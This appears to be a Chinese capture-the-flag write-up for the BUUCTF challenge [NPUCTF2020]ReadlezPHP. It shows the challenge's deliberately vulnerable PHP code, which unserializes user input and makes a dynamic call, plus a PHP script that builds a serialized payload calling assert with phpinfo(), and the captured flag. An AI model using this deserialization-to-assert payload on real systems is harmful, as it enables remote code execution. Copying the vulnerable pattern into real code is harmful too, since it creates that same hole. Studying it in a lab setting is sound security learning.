web buuctf [NPUCTF2020]ReadlezPHP

知识点：assert()断言函数

assert — 检查一个断言是否为 false
assert(mixed $assertion, Throwable $exception = ?): bool
如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。

1.开题：

2.查看源代码 view-source:url

在源码下面

 

查看，获得源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]); 

 代码审计，关键代码漏洞是

echo $b($a) ：令b=assert，a=php代码，可以执行php代码，结合前面的echo，将代码结果进行输出

3.构造payload

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
}

$c=new HelloPhp();
$c->a="phpinfo()";
$c->b="assert";
$c=serialize($c);
print($c);

生成payload:data=

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

4.传参执行

ctrl+f搜索flag

 

 flag{c54b3486-ba6e-403c-bebc-12c3b5b14480}